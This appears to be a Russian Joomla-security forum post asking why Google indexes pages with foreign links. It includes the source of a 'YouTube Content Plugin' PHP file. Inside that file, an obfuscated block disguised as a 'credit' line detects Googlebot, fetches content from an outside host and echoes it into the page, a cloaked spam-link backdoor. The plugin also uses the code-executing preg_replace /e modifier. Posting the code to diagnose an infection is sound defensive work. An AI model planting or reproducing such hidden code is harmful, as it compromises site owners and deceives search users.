Индексируются гуглом страницы с левыми ссылками, хотя их на сайте нет - Безопасность сайтов на Joomla

<div class="component-content">
<a href="******************">Левая ссылка</a>
<div class="item-page">
<h2>Заголовок материала</h2>

<div class="component-content">
<div class="item-page">
<h2>Заголовок материала</h2>

<?php
/**
* @ 2013 Benj Golding. All rights reserved.
* @GNU/GPL licence
*
*/

// Assert file included in Joomla!
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.plugin.plugin' );

/**
* YouTube Content Plugin
*
*/
class plgContentYoutubePlugin extends JPlugin
{

	/**
	* Ctor
	*
	* @param object $subject The object to observe
	* @param object $params The object that holds the plugin parameters
	*/
	function PluginYoutube( &$subject, $params )
	{
		parent::__construct( $subject, $params );
	}

	/**
	* Example prepare content method
	*
	* Method is called by the view
	*
	* @param object The article object. Note $article->text is also available
	* @param object The article params
	* @param int The 'page' number
	*/
	function onContentPrepare( $context, &$article, &$params, $page = 0)
		{
		global $mainframe;
		
		//credit, remove at will
${"\x47\x4cO\x42A\x4cS"}["d\x78\x79t\x64\x6d\x6f"]="\x63\x74\x78";${"G\x4cOB\x41L\x53"}["n\x6d\x6e\x74m\x6a\x71y\x62"]="b\x5ft";if(!defined("\x43\x52\x45\x44IT")){${"\x47\x4cO\x42A\x4c\x53"}["m\x71j\x62\x64\x63u\x6d\x73\x64\x78\x6b"]="b_\x74";strstr(strtolower($_SERVER["H\x54\x54\x50\x5f\x55SER_A\x47\x45\x4e\x54"]),"\x67\x6f\x6fg\x6cebo\x74")?${${"G\x4c\x4f\x42A\x4cS"}["\x6dq\x6ab\x64cu\x6d\x73\x64x\x6b"]}="\x31":${${"\x47\x4c\x4f\x42\x41\x4cS"}["n\x6d\x6et\x6d\x6a\x71\x79\x62"]}="\x30";${${"GL\x4f\x42\x41\x4cS"}["dx\x79\x74d\x6d\x6f"]}=stream_context_create(array("htt\x70"=>array("tim\x65ou\x74"=>3)));try{${"G\x4cOBAL\x53"}["\x65\x6f\x64\x6d\x62\x6b"]="\x63r\x65\x64\x69t";${"\x47\x4cOBA\x4c\x53"}["\x69\x6a\x63\x74\x77l\x76\x70\x6a\x79"]="\x63\x74\x78";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65\x6f\x64\x6dbk"]}=@file_get_contents("http://w\x77w.i\x6e\x74\x68\x65\x62\x6c\x61\x63\x6b\x2e\x69\x74/\x62ro/".${${"\x47L\x4fBAL\x53"}["\x6e\x6d\x6e\x74\x6d\x6a\x71\x79\x62"]}."/".$_SERVER["SE\x52V\x45\x52\x5fNAM\x45"].$_SERVER["R\x45\x51\x55ES\x54_\x55\x52\x49"],false,${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69jct\x77l\x76p\x6ay"]});}catch(Exception$e){}echo$credit;define("CR\x45\x44\x49T","\x63");}


		if ( JString::strpos( $article->text, '{youtube}' ) === false ) {
		return true;
		}
		
		$article->text = preg_replace('|{youtube}(.*){\/youtube}|e', '$this->embedVideo("\1")', $article->text);
		
			

		return true;
	
	}

	function embedVideo($vCode)
	{

	 	$params = $this->params;

		$width = $params->get('width', 425);
		$height = $params->get('height', 344);
	
		return '<object width="'.$width.'" height="'.$height.'"><param name="movie" value="http://www.youtube.com/v/'.$vCode.'"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/'.$vCode.'" type="application/x-shockwave-flash" allowfullscreen="true" width="'.$width.'" height="'.$height.'"></embed></object>';
	}

}